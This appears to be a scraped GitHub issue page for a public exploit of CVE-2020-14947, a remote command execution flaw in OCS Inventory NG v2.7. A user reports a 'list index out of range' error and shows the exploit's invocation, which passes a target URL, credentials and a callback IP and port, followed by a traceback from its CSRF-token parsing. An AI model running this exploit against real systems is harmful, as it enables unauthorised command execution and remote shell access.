mhaskar / CVE-2020-14947

The official exploit for OCS Inventory NG v2.7 Remote Command Execution CVE-2020-14947

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

list index out of range

ndenisof opened this issue · comments

MacBook-Air ~ % python3 /ocsng-post-auth-rce.py http://10.0.0.2/ocsreports/ username pass 10.0.0.1 1337
[+] Valid credentials!
Traceback (most recent call last):
File "/ocsng-post-auth-rce.py", line 113, in
inject_payload()
File "/ocsng-post-auth-rce.py", line 53, in inject_payload
first_token = soup.find_all("input", id="CSRF_10")[0].get("value")
IndexError: list index out of range